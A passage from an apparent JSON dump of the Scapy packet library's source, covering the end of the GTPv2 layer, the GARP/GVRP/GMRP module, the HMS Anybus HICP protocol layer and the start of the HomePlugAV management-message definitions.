GTPV2ContextRequest)\n\n\nclass GTPV2ContextAcknowledge(GTPV2Command):\n    name = \"GTPv2 Context Acknowledge\"\n\n\nclass GTPV2CreateIndirectDataForwardingTunnelRequest(GTPV2Command):\n    name = \"GTPv2 Create Indirect Data Forwarding Tunnel Request\"\n\n\nclass GTPV2CreateIndirectDataForwardingTunnelResponse(GTPV2Command):\n    name = \"GTPv2 Create Indirect Data Forwarding Tunnel Response\"\n\n    def answers(self, other):\n        return isinstance(\n            other,\n            GTPV2CreateIndirectDataForwardingTunnelRequest\n        )\n\n\nclass GTPV2DeleteIndirectDataForwardingTunnelRequest(GTPV2Command):\n    name = \"GTPv2 Delete Indirect Data Forwarding Tunnel Request\"\n\n\nclass GTPV2DeleteIndirectDataForwardingTunnelResponse(GTPV2Command):\n    name = \"GTPv2 Delete Indirect Data Forwarding Tunnel Response\"\n\n    def answers(self, other):\n        return isinstance(\n            other,\n            GTPV2DeleteIndirectDataForwardingTunnelRequest\n        )\n\n\nclass GTPV2ReleaseBearerRequest(GTPV2Command):\n    name = \"GTPv2 Release Bearer Request\"\n\n\nclass GTPV2ReleaseBearerResponse(GTPV2Command):\n    name = \"GTPv2 Release Bearer Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2ReleaseBearerRequest)\n\n\nclass GTPV2DownlinkDataNotif(GTPV2Command):\n    name = \"GTPv2 Download Data Notification\"\n\n\nclass GTPV2DownlinkDataNotifAck(GTPV2Command):\n    name = \"GTPv2 Download Data Notification Acknowledgment\"\n\n\nbind_layers(GTPHeader, GTPV2EchoRequest, gtp_type=1, T=0)\nbind_layers(GTPHeader, GTPV2EchoResponse, gtp_type=2, T=0)\nbind_layers(GTPHeader, GTPV2CreateSessionRequest, gtp_type=32)\nbind_layers(GTPHeader, GTPV2CreateSessionResponse, gtp_type=33)\nbind_layers(GTPHeader, GTPV2ModifyBearerRequest, gtp_type=34)\nbind_layers(GTPHeader, GTPV2ModifyBearerResponse, gtp_type=35)\nbind_layers(GTPHeader, GTPV2DeleteSessionRequest, gtp_type=36)\nbind_layers(GTPHeader, GTPV2DeleteSessionResponse, gtp_type=37)\nbind_layers(GTPHeader, GTPV2ModifyBearerCommand, gtp_type=64)\nbind_layers(GTPHeader, GTPV2ModifyBearerFailureIndication, gtp_type=65)\nbind_layers(GTPHeader, GTPV2DeleteBearerCommand, gtp_type=66)\nbind_layers(GTPHeader, GTPV2DeleteBearerFailureIndication, gtp_type=67)\nbind_layers(GTPHeader, GTPV2BearerResourceCommand, gtp_type=68)\nbind_layers(GTPHeader, GTPV2BearerResourceFailureIndication, gtp_type=69)\nbind_layers(GTPHeader, GTPV2DownlinkDataNotifFailureIndication, gtp_type=70)\nbind_layers(GTPHeader, GTPV2CreateBearerRequest, gtp_type=95)\nbind_layers(GTPHeader, GTPV2CreateBearerResponse, gtp_type=96)\nbind_layers(GTPHeader, GTPV2UpdateBearerRequest, gtp_type=97)\nbind_layers(GTPHeader, GTPV2UpdateBearerResponse, gtp_type=98)\nbind_layers(GTPHeader, GTPV2DeleteBearerRequest, gtp_type=99)\nbind_layers(GTPHeader, GTPV2DeleteBearerResponse, gtp_type=100)\nbind_layers(GTPHeader, GTPV2ContextRequest, gtp_type=130)\nbind_layers(GTPHeader, GTPV2ContextResponse, gtp_type=131)\nbind_layers(GTPHeader, GTPV2ContextAcknowledge, gtp_type=132)\nbind_layers(GTPHeader, GTPV2SuspendNotification, gtp_type=162)\nbind_layers(GTPHeader, GTPV2SuspendAcknowledge, gtp_type=163)\nbind_layers(GTPHeader, GTPV2ResumeNotification, gtp_type=164)\nbind_layers(GTPHeader, GTPV2ResumeAcknowledge, gtp_type=165)\nbind_layers(\n    GTPHeader, GTPV2CreateIndirectDataForwardingTunnelRequest, gtp_type=166)\nbind_layers(\n    GTPHeader, GTPV2CreateIndirectDataForwardingTunnelResponse, gtp_type=167)\nbind_layers(\n    GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelRequest, gtp_type=168)\nbind_layers(\n    GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelResponse, gtp_type=169)\nbind_layers(GTPHeader, GTPV2ReleaseBearerRequest, gtp_type=170)\nbind_layers(GTPHeader, GTPV2ReleaseBearerResponse, gtp_type=171)\nbind_layers(GTPHeader, GTPV2DownlinkDataNotif, gtp_type=176)\nbind_layers(GTPHeader, GTPV2DownlinkDataNotifAck, gtp_type=177)\n"
  },
  {
    "path": "scapy/contrib/gxrp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Generic Attribute Register Protocol (GARP)\n# scapy.contrib.status = loads\n\n\"\"\"\n    GARP - Generic Attribute Register Protocol\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Sergey Matsievskiy, matsievskiysv@gmail.com\n\n    :description:\n\n        This module provides Scapy layers for the GARP protocol and its\n        two applications: GARP VLAN Registration Protocol (GVRP) and\n        GARP Multicast Registration Protocol (GMRP)\n\n        normative references:\n            - IEEE 802.1D 2004 - Media Access Control (MAC) Bridges\n            - IEEE 802.1Q 1998 - Virtual Bridged Local Area Networks\n\n\"\"\"\nfrom scapy.fields import (\n    LenField,\n    EnumField,\n    ByteField,\n    PacketListField,\n    ShortField,\n    MACField,\n)\nfrom scapy.packet import Packet, bind_layers, split_layers\nfrom scapy.layers.l2 import LLC, Dot3\nfrom scapy.error import warning\n\n\nclass GVRP(Packet):\n    \"\"\"\n    GVRP\n    \"\"\"\n\n    name = \"GVRP\"\n\n    # IEEE802.1Q-1998 11.2.3.1.3\n    fields_desc = [ShortField(\"vlan\", 1)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass GMRP_GROUP(Packet):\n    \"\"\"\n    GMRP Group\n    \"\"\"\n\n    name = \"GMRP Group\"\n\n    # IEEE802.1D-2004 10.3.1.4\n    fields_desc = [MACField(\"addr\", None)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass GMRP_SERVICE(Packet):\n    \"\"\"\n    GMRP Service\n    \"\"\"\n\n    name = \"GMRP Service\"\n\n    # IEEE802.1D-2004 10.3.1.4\n    fields_desc = [\n        EnumField(\n            \"event\",\n            0,\n            {0x0: \"All Groups\", 0x1: \"All Unregistered Groups\"},\n            fmt=\"B\",\n        )\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass GARP_ATTRIBUTE(Packet):\n    \"\"\"\n    GARP attribute container\n    \"\"\"\n\n    name = \"GARP Attribute\"\n\n    # IEEE802.1D-2004 12.10.2.4-5\n    fields_desc = [\n        LenField(\"len\", None, fmt=\"B\", adjust=lambda l: l + 2),\n        EnumField(\n            \"event\",\n            0,\n            {\n                0x0: \"LeaveAll\",\n                0x1: \"JoinEmpty\",\n                0x2: \"JoinIn\",\n                0x3: \"LeaveEmpty\",\n                0x4: \"LeaveIn\",\n                0x5: \"Empty\",\n            },\n            fmt=\"B\",\n        ),\n    ]\n\n    def do_dissect(self, s):\n        s = super(GARP_ATTRIBUTE, self).do_dissect(s)\n        if self.len is not None and self.event == 0 and self.len > 2:\n            warning(\"Non-empty payload at LeaveAll event\")\n        return s\n\n    def extract_padding(self, s):\n        boundary = self.len - 2\n        return s[:boundary], s[boundary:]\n\n    def guess_payload_class(self, payload):\n        try:\n            garp_message = self.parent\n            garp = garp_message.parent\n            llc = garp.underlayer\n            dot3 = llc.underlayer\n            if (\n                dot3.dst == \"01:80:c2:00:00:21\"\n            ):  # IEEE802.1D-2004 12.4 Table 12-1\n                return GVRP\n            elif (\n                dot3.dst == \"01:80:c2:00:00:20\"\n            ):  # IEEE802.1D-2004 12.4 Table 12-1\n                if garp_message.type == 1:  # IEEE802.1D-2004 10.3.1.3\n                    return GMRP_GROUP\n                elif garp_message.type == 2:  # IEEE802.1D-2004 10.3.1.3\n                    return GMRP_SERVICE\n        except AttributeError:\n            pass\n        return super(GARP_ATTRIBUTE, self).guess_payload_class(payload)\n\n\ndef parse_next_attr(pkt, lst, cur, remain):\n    # IEEE802.1D-2004 12.10.2.7\n    if not remain or len(remain) == 0 or remain[0:1] == b\"\\x00\":\n        return None\n    elif ord(remain[0:1]) >= 2:  # minimal attribute size\n        return GARP_ATTRIBUTE\n    else:\n        return None\n\n\nclass GARP_MESSAGE(Packet):\n    \"\"\"\n    GARP message container\n    \"\"\"\n\n    name = \"GARP Message\"\n    fields_desc = [\n        ByteField(\"type\", 0x01),\n        PacketListField(\"attrs\", [], next_cls_cb=parse_next_attr),\n        ByteField(\"end_mark\", 0x0),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\ndef parse_next_msg(pkt, lst, cur, remain):\n    # IEEE802.1D-2004 12.10.2.7\n    if not remain and len(remain) == 0 or remain[0:1] == b\"\\x00\":\n        return None\n    else:\n        return GARP_MESSAGE\n\n\nclass GARP(Packet):\n    \"\"\"\n    GARP packet\n    \"\"\"\n\n    name = \"GARP\"\n\n    fields_desc = [\n        ShortField(\"proto_id\", 0x0001),  # IEEE802.1D-2004 12.10.2.1\n        PacketListField(\"msgs\", [], next_cls_cb=parse_next_msg),\n        ByteField(\"end_mark\", 0x0),\n    ]  # IEEE802.1D-2004 12.10.2.7\n\n\nclass LLC_GARP(LLC):\n    \"\"\"\n    Dummy class for layer binding\n    \"\"\"\n\n    payload_guess = []\n\n\nsplit_layers(Dot3, LLC)\n# IEEE802.1D-2004 12.4 Table 12-1\nfor mac in [\"01:80:c2:00:00:20\",\n            \"01:80:c2:00:00:21\",\n            \"01:80:c2:00:00:22\",\n            \"01:80:c2:00:00:23\",\n            \"01:80:c2:00:00:24\",\n            \"01:80:c2:00:00:25\",\n            \"01:80:c2:00:00:26\",\n            \"01:80:c2:00:00:27\",\n            \"01:80:c2:00:00:28\",\n            \"01:80:c2:00:00:29\",\n            \"01:80:c2:00:00:2a\",\n            \"01:80:c2:00:00:2b\",\n            \"01:80:c2:00:00:2c\",\n            \"01:80:c2:00:00:2d\",\n            \"01:80:c2:00:00:2e\",\n            \"01:80:c2:00:00:2f\"]:\n    bind_layers(Dot3, LLC_GARP, dst=mac)\nbind_layers(Dot3, LLC)\nbind_layers(LLC_GARP, GARP)\n"
  },
  {
    "path": "scapy/contrib/hicp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2023 - Claire VACHEROT <clairelex[at]pm.me>\n\n\"\"\"HICP\n\nSupport for HICP (Host IP Control Protocol).\n\nThis protocol is used by HMS Anybus software for device discovery and\nconfiguration.\n\nNote : As the specification is not public, this layer was built based on the\nWireshark dissector and HMS's HICP DLL. It was tested with a Anybus X-gateway\ndevice. Therefore, this implementation may differ from what is written in the\nstandard.\n\"\"\"\n\n# scapy.contrib.name = HICP\n# scapy.contrib.description = HMS Anybus Host IP Control Protocol\n# scapy.contrib.status = loads\n\nfrom re import match\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import StrField, MACField, IPField, ByteField, RawVal\nfrom scapy.layers.inet import UDP\n\n# HICP command codes\nCMD_MODULESCAN = b\"Module scan\"\nCMD_MSRESPONSE = b\"Module scan response\"\nCMD_CONFIGURE = b\"Configure\"\nCMD_RECONFIGURED = b\"Reconfigured\"\nCMD_INVALIDCONF = b\"Invalid Configuration\"\nCMD_INVALIDPWD = b\"Invalid Password\"\nCMD_WINK = b\"Wink\"\n# These commands are implemented in the DLL but never seen in use\nCMD_START = b\"Start\"\nCMD_STOP = b\"Stop\"\n\n# Most of the fields have the format \"KEY = value\" for each field\nKEYS = {\n    \"protocol_version\": \"Protocol version\",\n    \"fieldbus_type\": \"FB type\",\n    \"module_version\": \"Module version\",\n    \"mac_address\": \"MAC\",\n    \"new_password\": \"New password\",\n    \"password\": \"PSWD\",\n    \"ip_address\": \"IP\",\n    \"subnet_mask\": \"SN\",\n    \"gateway_address\": \"GW\",\n    \"dhcp\": \"DHCP\",\n    \"hostname\": \"HN\",\n    \"dns1\": \"DNS1\",\n    \"dns2\": \"DNS2\"\n}\n\n# HICP MAC format is xx-xx-xx-xx-xx-xx (not with :) as str.\nFROM_MACFIELD = lambda x: x.replace(\":\", \"-\")\nTO_MACFIELD = lambda x: x.replace(\"-\", \":\")\n\n# Note on building and dissecting: Since the protocol is primarily text-based\n# but also highly inconsistent in terms of message format, most of the\n# dissection and building process must be reworked for each message type.\n\n\nclass HICPConfigure(Packet):\n    name = \"Configure request\"\n    fields_desc = [\n        MACField(\"target\", \"ff:ff:ff:ff:ff:ff\"),\n        StrField(\"password\", \"\"),\n        StrField(\"new_password\", \"\"),\n        IPField(\"ip_address\", \"255.255.255.255\"),\n        IPField(\"subnet_mask\", \"255.255.255.0\"),\n        IPField(\"gateway_address\", \"0.0.0.0\"),\n        StrField(\"dhcp\", \"OFF\"),  # ON or OFF\n        StrField(\"hostname\", \"\"),\n        IPField(\"dns1\", \"0.0.0.0\"),\n        IPField(\"dns2\", \"0.0.0.0\"),\n        ByteField(\"padding\", 0)\n    ]\n\n    def post_build(self, p, pay):\n        p = [\"{0}: {1};\".format(CMD_CONFIGURE.decode('utf-8'),\n                                FROM_MACFIELD(self.target))]\n        for field in self.fields_desc[1:]:\n            if field.name in KEYS:\n                value = getattr(self, field.name)\n                if isinstance(value, bytes):\n                    value = value.decode('utf-8')\n                if field.name in [\"password\", \"new_password\"] and not value:\n                    continue\n                key = KEYS[field.name]\n                # The key for password is not the same as usual...\n                if field.name == \"password\":\n                    key = \"Password\"\n                p.append(\"{0} = {1};\".format(key, value))\n        return \"\".join(p).encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        res = match(\".*: ([^;]+);\", s.decode('utf-8'))\n        if res:\n            self.target = TO_MACFIELD(res.group(1))\n        s = s[len(self.target) + 3:]\n        for arg in s.split(b\";\"):\n            kv = [x.strip().replace(b\"\\x00\", b\"\") for x in arg.split(b\"=\")]\n            if len(kv) != 2 or not kv[1]:\n                continue\n            kv[0] = kv[0].decode('utf-8')\n            if kv[0] in KEYS.values():\n                field = [x for x, y in KEYS.items() if y == kv[0]][0]\n                setattr(self, field, kv[1])\n\n\nclass HICPReconfigured(Packet):\n    name = \"Reconfigured\"\n    fields_desc = [\n        MACField(\"source\", \"ff:ff:ff:ff:ff:ff\")\n    ]\n\n    def post_build(self, p, pay):\n        p = \"{0}: {1}\".format(CMD_RECONFIGURED.decode('utf-8'),\n                              FROM_MACFIELD(self.source))\n        return p.encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        res = match(r\".*: ([a-fA-F0-9\\-\\:]+)\", s.decode('utf-8'))\n        if res:\n            self.source = TO_MACFIELD(res.group(1))\n        return None\n\n\nclass HICPInvalidConfiguration(Packet):\n    name = \"Invalid configuration\"\n    fields_desc = [\n        MACField(\"source\", \"ff:ff:ff:ff:ff:ff\")\n    ]\n\n    def post_build(self, p, pay):\n        p = \"{0}: {1}\".format(CMD_INVALIDCONF.decode('utf-8'),\n                              FROM_MACFIELD(self.source))\n        return p.encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        res = match(r\".*: ([a-fA-F0-9\\-\\:]+)\", s.decode('utf-8'))\n        if res:\n            self.source = TO_MACFIELD(res.group(1))\n        return None\n\n\nclass HICPInvalidPassword(Packet):\n    name = \"Invalid password\"\n    fields_desc = [\n        MACField(\"source\", \"ff:ff:ff:ff:ff:ff\")\n    ]\n\n    def post_build(self, p, pay):\n        p = \"{0}: {1}\".format(CMD_INVALIDPWD.decode('utf-8'),\n                              FROM_MACFIELD(self.source))\n        return p.encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        res = match(r\".*: ([a-fA-F0-9\\-\\:]+)\", s.decode('utf-8'))\n        if res:\n            self.source = TO_MACFIELD(res.group(1))\n        return None\n\n\nclass HICPWink(Packet):\n    name = \"Wink\"\n    fields_desc = [\n        MACField(\"target\", \"ff:ff:ff:ff:ff:ff\"),\n        ByteField(\"padding\", 0)\n    ]\n\n    def post_build(self, p, pay):\n        p = \"To: {0};{1};\".format(FROM_MACFIELD(self.target),\n                                  CMD_WINK.decode('utf-8').upper())\n        return p.encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        res = match(\"^To: ([^;]+);\", s.decode('utf-8'))\n        if res:\n            self.target = TO_MACFIELD(res.group(1))\n\n\nclass HICPModuleScanResponse(Packet):\n    name = \"Module scan response\"\n    fields_desc = [\n        StrField(\"protocol_version\", \"1.00\"),\n        StrField(\"fieldbus_type\", \"\"),\n        StrField(\"module_version\", \"\"),\n        MACField(\"mac_address\", \"ff:ff:ff:ff:ff:ff\"),\n        IPField(\"ip_address\", \"255.255.255.255\"),\n        IPField(\"subnet_mask\", \"255.255.255.0\"),\n        IPField(\"gateway_address\", \"0.0.0.0\"),\n        StrField(\"dhcp\", \"OFF\"),  # ON or OFF\n        StrField(\"password\", \"OFF\"),  # ON or OFF\n        StrField(\"hostname\", \"\"),\n        IPField(\"dns1\", \"0.0.0.0\"),\n        IPField(\"dns2\", \"0.0.0.0\"),\n        ByteField(\"padding\", 0)\n    ]\n\n    def post_build(self, p, pay):\n        p = []\n        for field in self.fields_desc:\n            if field.name in KEYS:\n                value = getattr(self, field.name)\n                if isinstance(value, bytes):\n                    value = value.decode('utf-8')\n                p.append(\"{0} = {1};\".format(KEYS[field.name], value))\n        return \"\".join(p).encode('utf-8') + b\"\\x00\" + pay\n\n    def do_dissect(self, s):\n        for arg in s.split(b\";\"):\n            kv = [x.strip().replace(b\"\\x00\", b\"\") for x in arg.split(b\"=\")]\n            if len(kv) != 2 or not kv[1]:\n                continue\n            kv[0] = kv[0].decode('utf-8')\n            if kv[0] in KEYS.values():\n                field = [x for x, y in KEYS.items() if y == kv[0]][0]\n                if field == \"mac_address\":\n                    kv[1] = TO_MACFIELD(kv[1].decode('utf-8'))\n                setattr(self, field, kv[1])\n\n\nclass HICPModuleScan(Packet):\n    name = \"Module scan request\"\n    fields_desc = [\n        StrField(\"hicp_command\", CMD_MODULESCAN),\n        ByteField(\"padding\", 0)\n    ]\n\n    def do_dissect(self, s):\n        if len(s) > len(CMD_MODULESCAN):\n            self.hicp_command = s[:len(CMD_MODULESCAN)]\n            self.padding = s[len(CMD_MODULESCAN):]\n        else:\n            self.padding = RawVal(s)\n\n    def post_build(self, p, pay):\n        return p.upper() + pay\n\n\nclass HICP(Packet):\n    name = \"HICP\"\n    fields_desc = [\n        StrField(\"hicp_command\", \"\")\n    ]\n\n    def do_dissect(self, s):\n        for cmd in [CMD_MODULESCAN, CMD_CONFIGURE, CMD_RECONFIGURED,\n                    CMD_INVALIDCONF, CMD_INVALIDPWD]:\n            if s[:len(cmd)] == cmd:\n                self.hicp_command = cmd\n                return s[len(cmd):]\n        if s[:len(\"To:\")] == b\"To:\":\n            self.hicp_command = CMD_WINK\n        else:\n            self.hicp_command = CMD_MSRESPONSE\n        return s\n\n    def post_build(self, p, pay):\n        p = p[len(self.hicp_command):]\n        return p + pay\n\n\nbind_bottom_up(UDP, HICP, dport=3250)\nbind_bottom_up(UDP, HICP, sport=3250)\nbind_layers(UDP, HICP, sport=3250, dport=3250)\nbind_layers(HICP, HICPModuleScan, hicp_command=CMD_MODULESCAN)\nbind_layers(HICP, HICPModuleScanResponse, hicp_command=CMD_MSRESPONSE)\nbind_layers(HICP, HICPWink, hicp_command=CMD_WINK)\nbind_layers(HICP, HICPConfigure, hicp_command=CMD_CONFIGURE)\nbind_layers(HICP, HICPReconfigured, hicp_command=CMD_RECONFIGURED)\nbind_layers(HICP, HICPInvalidConfiguration, hicp_command=CMD_INVALIDCONF)\nbind_layers(HICP, HICPInvalidPassword, hicp_command=CMD_INVALIDPWD)\n"
  },
  {
    "path": "scapy/contrib/homeplugav.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = HomePlugAV Layer\n# scapy.contrib.status = loads\n\n\"\"\"\nHomePlugAV Layer for Scapy\n\nCopyright (C) FlUxIuS (Sebastien Dudek)\n\nHomePlugAV Management Message Type\nKey (type value) : Description\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    EnumField,\n    FieldLenField,\n    IntField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    MACField,\n    OUIField,\n    PacketListField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    X3BytesField,\n    XByteField,\n    XIntField,\n    XLongField,\n    XShortField,\n)\nfrom scapy.layers.l2 import Ether\n\nHPAVTypeList = {0xA000: \"'Get Device/sw version Request'\",\n                0xA001: \"'Get Device/sw version Confirmation'\",\n                0xA008: \"'Read MAC Memory Request'\",\n                0xA009: \"'Read MAC Memory Confirmation'\",\n                0xA00C: \"'Start MAC Request'\",\n                0xA00D: \"'Start MAC Confirmation'\",\n                0xA010: \"'Get NVM Parameters Request'\",\n                0xA011: \"'Get NVM Parameters Confirmation'\",\n                0xA01C: \"'Reset Device Request'\",\n                0xA01D: \"'Reset Device Confirmation'\",\n                0xA020: \"'Write Module Data Request'\",\n                0xA024: \"'Read Module Data Request'\",\n                0xA025: \"'Read Module Data Confirmation'\",\n                0xA028: \"'Write Module Data to NVM Request'\",\n                0xA029: \"'Write Module Data to NVM Confirmation'\",\n                0xA034: \"'Sniffer Request'\",\n                0xA035: \"'Sniffer Confirmation'\",\n                0xA036: \"'Sniffer Indicates'\",\n                0xA038: \"'Network Information Request'\",\n                0xA039: \"'Network Information Confirmation'\",\n                0xA048: \"'Loopback Request'\",\n                0xA049: \"'Loopback Request Confirmation'\",\n                0xA050: \"'Set Encryption Key Request'\",\n                0xA051: \"'Set Encryption Key Request Confirmation'\",\n                0xA058: \"'Read Configuration Block Request'\",\n                0xA059: \"'Read Configuration Block Confirmation'\",\n                0xA062: \"'Embedded Host Action Required Indication'\"}\n\nHPAVversionList = {0x00: \"1.0\",\n                   0x01: \"1.1\"}\n\nHPAVDeviceIDList = {0x00: \"Unknown\",\n                    0x01: \"'INT6000'\",\n                    0x02: \"'INT6300'\",\n                    0x03: \"'INT6400'\",\n                    0x04: \"'AR7400'\",\n                    0x05: \"'AR6405'\",\n                    0x20: \"'QCA7450/QCA7420'\",\n                    0x21: \"'QCA6410/QCA6411'\",\n                    0x22: \"'QCA7000'\"}\n\nStationRole = {0x00: \"'Station'\",\n               0x01: \"'Proxy coordinator'\",\n               0x02: \"'Central coordinator'\"}\n\nStatusCodes = {0x00: \"'Success'\",\n               0x10: \"'Invalid Address'\",\n               0x14: \"'Invalid Length'\"}\n\nDefaultVendor = \"Qualcomm\"\n\n#########################################################################\n# Qualcomm Vendor Specific Management Message Types;                    #\n# from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h #\n#########################################################################\n# Commented commands are already in HPAVTypeList, the other have to be implemented  # noqa: E501\nQualcommTypeList = {  # 0xA000 : \"VS_SW_VER\",\n    0xA004: \"VS_WR_MEM\",\n    # 0xA008 : \"VS_RD_MEM\",\n    # 0xA00C : \"VS_ST_MAC\",\n    # 0xA010 : \"VS_GET_NVM\",\n    0xA014: \"VS_RSVD_1\",\n    0xA018: \"VS_RSVD_2\",\n    # 0xA01C : \"VS_RS_DEV\",\n    # 0xA020 : \"VS_WR_MOD\",\n    # 0xA024 : \"VS_RD_MOD\",\n    # 0xA028 : \"VS_MOD_NVM\",\n    0xA02C: \"VS_WD_RPT\",\n    0xA030: \"VS_LNK_STATS\",\n    # 0xA034 : \"VS_SNIFFER\",\n    # 0xA038 : \"VS_NW_INFO\",\n    0xA03C: \"VS_RSVD_3\",\n    0xA040: \"VS_CP_RPT\",\n    0xA044: \"VS_ARPC\",\n    # 0xA050 : \"VS_SET_KEY\",\n    0xA054: \"VS_MFG_STRING\",\n    # 0xA058 : \"VS_RD_CBLOCK\",\n    0xA05C: \"VS_SET_SDRAM\",\n    0xA060: \"VS_HOST_ACTION\",\n    0xA068: \"VS_OP_ATTRIBUTES\",\n    0xA06C: \"VS_ENET_SETTINGS\",\n    0xA070: \"VS_TONE_MAP_CHAR\",\n    0xA074: \"VS_NW_INFO_STATS\",\n    0xA078: \"VS_SLAVE_MEM\",\n    0xA07C: \"VS_FAC_DEFAULTS\",\n    0xA07D: \"VS_FAC_DEFAULTS_CONFIRM\",\n    0xA084: \"VS_MULTICAST_INFO\",\n    0xA088: \"VS_CLASSIFICATION\",\n    0xA090: \"VS_RX_TONE_MAP_CHAR\",\n    0xA094: \"VS_SET_LED_BEHAVIOR\",\n    0xA098: \"VS_WRITE_AND_EXECUTE_APPLET\",\n    0xA09C: \"VS_MDIO_COMMAND\",\n    0xA0A0: \"VS_SLAVE_REG\",\n    0xA0A4: \"VS_BANDWIDTH_LIMITING\",\n    0xA0A8: \"VS_SNID_OPERATION\",\n    0xA0AC: \"VS_NN_MITIGATE\",\n    0xA0B0: \"VS_MODULE_OPERATION\",\n    0xA0B4: \"VS_DIAG_NETWORK_PROBE\",\n    0xA0B8: \"VS_PL_LINK_STATUS\",\n    0xA0BC: \"VS_GPIO_STATE_CHANGE\",\n    0xA0C0: \"VS_CONN_ADD\",\n    0xA0C4: \"VS_CONN_MOD\",\n    0xA0C8: \"VS_CONN_REL\",\n    0xA0CC: \"VS_CONN_INFO\",\n    0xA0D0: \"VS_MULTIPORT_LNK_STA\",\n    0xA0DC: \"VS_EM_ID_TABLE\",\n    0xA0E0: \"VS_STANDBY\",\n    0xA0E4: \"VS_SLEEPSCHEDULE\",\n    0xA0E8: \"VS_SLEEPSCHEDULE_NOTIFICATION\",\n    0xA0F0: \"VS_MICROCONTROLLER_DIAG\",\n    0xA0F8: \"VS_GET_PROPERTY\",\n    0xA100: \"VS_SET_PROPERTY\",\n    0xA104: \"VS_PHYSWITCH_MDIO\",\n    0xA10C: \"VS_SELFTEST_ONETIME_CONFIG\",\n    0xA110: \"VS_SELFTEST_RESULTS\",\n    0xA114: \"VS_MDU_TRAFFIC_STATS\",\n    0xA118: \"VS_FORWARD_CONFIG\",\n    0xA200: \"VS_HYBRID_INFO\"}\n#          END OF Qualcomm commands                          #\n\nEofPadList = [0xA000, 0xA038]  # TODO: The complete list of Padding can help to improve the condition in VendorMME Class  # noqa: E501\n\n\ndef FragmentCond(pkt):\n    \"\"\"\n        A fragmentation field condition\n        TODO: To complete\n    \"\"\"\n    return pkt.version == 0x01\n\n\nclass MACManagementHeader(Packet):\n    name = \"MACManagementHeader \"\n    if DefaultVendor == \"Qualcomm\":\n        HPAVTypeList.update(QualcommTypeList)\n    fields_desc = [ByteEnumField(\"version\", 0, HPAVversionList),\n                   EnumField(\"HPtype\", 0xA000, HPAVTypeList, \"<H\")]\n\n\nclass VendorMME(Packet):\n    name = \"VendorMME \"\n    fields_desc = [OUIField(\"OUI\", 0x00b052)]\n\n\nclass GetDeviceVersion(Packet):\n    name = \"GetDeviceVersion\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes),\n                   ByteEnumField(\"DeviceID\", 0x20, HPAVDeviceIDList),\n                   FieldLenField(\"VersionLen\", None, count_of=\"DeviceVersion\", fmt=\"B\"),  # noqa: E501\n                   StrLenField(\"DeviceVersion\", b\"NoVersion\\x00\", length_from=lambda pkt: pkt.VersionLen),  # noqa: E501\n                   StrLenField(\"DeviceVersion_pad\", b\"\\xcc\\xcc\\xcc\\xcc\\xcc\" + b\"\\x00\" * 59, length_from=lambda pkt: 64 - pkt.VersionLen),  # noqa: E501\n                   ByteEnumField(\"Upgradable\", 0, {0: \"False\", 1: \"True\"})]\n\n\nclass NetworkInformationRequest(Packet):\n    name = \"NetworkInformationRequest\"\n    fields_desc = []\n\n###############################################################################\n#   Networks & Stations information for MAC Management V1.0\n###############################################################################\n\n\nclass NetworkInfoV10(Packet):\n    \"\"\"\n        Network Information Element\n    \"\"\"\n    name = \"NetworkInfo\"\n    fields_desc = [StrFixedLenField(\"NetworkID\", b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", 7),  # noqa: E501\n                   XByteField(\"ShortNetworkID\", 0x00),\n                   XByteField(\"TerminalEID\", 0x01),\n                   ByteEnumField(\"StationRole\", 0x00, StationRole),\n                   MACField(\"CCoMACAdress\", \"00:00:00:00:00:00\"),\n                   XByteField(\"CCoTerminalEID\", 0x01)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass StationInfoV10(Packet):\n    \"\"\"\n        Station Information Element\n    \"\"\"\n    name = \"StationInfo\"\n    fields_desc = [MACField(\"StationMAC\", \"00:00:00:00:00:00\"),\n                   XByteField(\"StationTerminalEID\", 0x01),\n                   MACField(\"firstnodeMAC\", \"ff:ff:ff:ff:ff:ff\"),\n                   XByteField(\"TXaverage\", 0x00),\n                   XByteField(\"RXaverage\", 0x00)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n###############################################################################\n#   Networks & Stations information for MAC Management V1.1\n###############################################################################\n\n\nclass NetworkInfoV11(Packet):\n    \"\"\"\n        Network Information Element\n    \"\"\"\n    name = \"NetworkInfo\"\n    fields_desc = [StrFixedLenField(\"NetworkID\", b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", 7),  # noqa: E501\n                   ShortField(\"reserved_1\", 0x0000),\n                   XByteField(\"ShortNetworkID\", 0x00),\n                   XByteField(\"TerminalEID\", 0x01),\n                   IntField(\"reserved_2\", 0x00000000),\n                   ByteEnumField(\"StationRole\", 0x00, StationRole),\n                   MACField(\"CCoMACAdress\", \"00:00:00:00:00:00\"),\n        